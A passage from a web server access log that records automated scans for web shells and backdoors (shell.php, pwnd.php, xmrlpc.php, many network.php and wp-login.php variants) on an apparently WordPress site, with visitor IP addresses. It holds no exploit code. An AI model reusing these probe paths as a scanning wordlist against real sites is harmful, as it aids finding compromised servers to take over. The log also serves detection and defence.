/alfa.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:24 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:25 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:26 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:28 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:28 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:29 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:30 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:31 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:32 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:32 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:33 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:34 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:36 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:37 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:38 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:39 -0400] "GET /class-walker-comment-beta.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:41 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:42 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:44 -0400] "GET /inputs.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:45 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:46 -0400] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:48 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:50 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:50 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:51 -0400] "GET /abouts.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:52 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:53 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:53 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:55 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:56 -0400] "GET /wp-includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:57 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:59 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:00 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:01 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:02 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:03 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:04 -0400] "GET /NFXxUAA.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:04 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:06 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:07 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:08 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:08 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:09 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:10 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:12 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:12 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:13 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:14 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:15 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:18 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:18 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:19 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:20 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:22 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:22 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:23 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:25 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:26 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:28 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:30 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:32 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:34 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:37 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:37 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:42 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:44 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:46 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:48 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:48 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:49 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:50 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:52 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:53 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:55 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:56 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:52:57 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 94.103.88.24 - - [30/Apr/2025:11:03:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 46.63.254.6 - - [30/Apr/2025:11:04:36 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 185.157.214.24 - - [30/Apr/2025:11:08:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 110.166.71.39 - - [30/Apr/2025:12:00:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2a02:c206:3015:2326::1 - - [30/Apr/2025:12:14:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 37.19.223.117 - - [30/Apr/2025:12:54:35 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 119.13.62.232 - - [30/Apr/2025:14:27:59 -0400] "GET /wp-customizer-admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:02 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:05 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:10 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:15 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:19 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:23 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:26 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:30 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:31 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:39 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:41 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:44 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:46 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:49 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:51 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:53 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:56 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:28:57 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:00 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:02 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:05 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:06 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:08 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:10 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:12 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:14 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:16 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:19 -0400] "GET /wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:20 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:24 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:27 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:29 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:32 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:36 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:41 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:44 -0400] "GET /wp-admin/css/ysirlifn.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:46 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:50 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:53 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:57 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:29:59 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:04 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:15 -0400] "GET /ofso64.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:22 -0400] "GET /wp-content/plugins/TOPXHOH/wDR.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:27 -0400] "GET /wp-content/plugins/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:28 -0400] "GET /wp-content/themes/ccx/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:31 -0400] "GET /wp-content/uploads/2017-------/09/wp-console.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:34 -0400] "GET /wp-includes/js/crop/uword.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:38 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:40 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:42 -0400] "GET /wp-content/uploads/2014/07/olx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:43 -0400] "GET /wp-admin/css/colors/midnight/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:46 -0400] "GET /wp-content/uploads/2020/wp-couldent.php.suspected HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:48 -0400] "GET /wp-content/plugins/523453244/ninja.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:50 -0400] "GET /wp-includes/js/imgareaselect/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:52 -0400] "GET /wp-includes/PHPMailer/load.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:55 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:57 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:30:59 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:01 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:03 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:06 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:09 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:11 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:14 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:17 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:20 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:22 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:25 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:27 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:29 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:31 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:33 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:35 -0400] "GET /wp-content/plugins/ph-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:37 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:40 -0400] "GET /wp-content/plugins/root-file-manager/wp-file.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:42 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:44 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:47 -0400] "GET /wp-content/themes/jaida/lang.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:50 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:52 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:54 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:57 -0400] "GET /cgi-bin/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:31:59 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:01 -0400] "GET /wp-admin/images/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:03 -0400] "GET /wp-includes/block-supports/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:05 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:07 -0400] "GET /wp-includes/js/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:10 -0400] "GET /.well-known/pki-validation/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:13 -0400] "GET /wp-includes/css/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:15 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:18 -0400] "GET /wp-includes/PHPMailer/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:21 -0400] "GET /wp-includes/blocks/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:23 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:24 -0400] "GET /wp-includes/Requests/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:26 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:29 -0400] "GET /.well-known/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:30 -0400] "GET /wp-content/uploads/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:32 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:35 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:37 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:40 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:41 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:43 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:45 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:48 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:50 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:53 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:56 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:32:58 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:00 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:04 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:06 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:09 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:12 -0400] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:14 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:17 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:19 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:21 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:24 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:26 -0400] 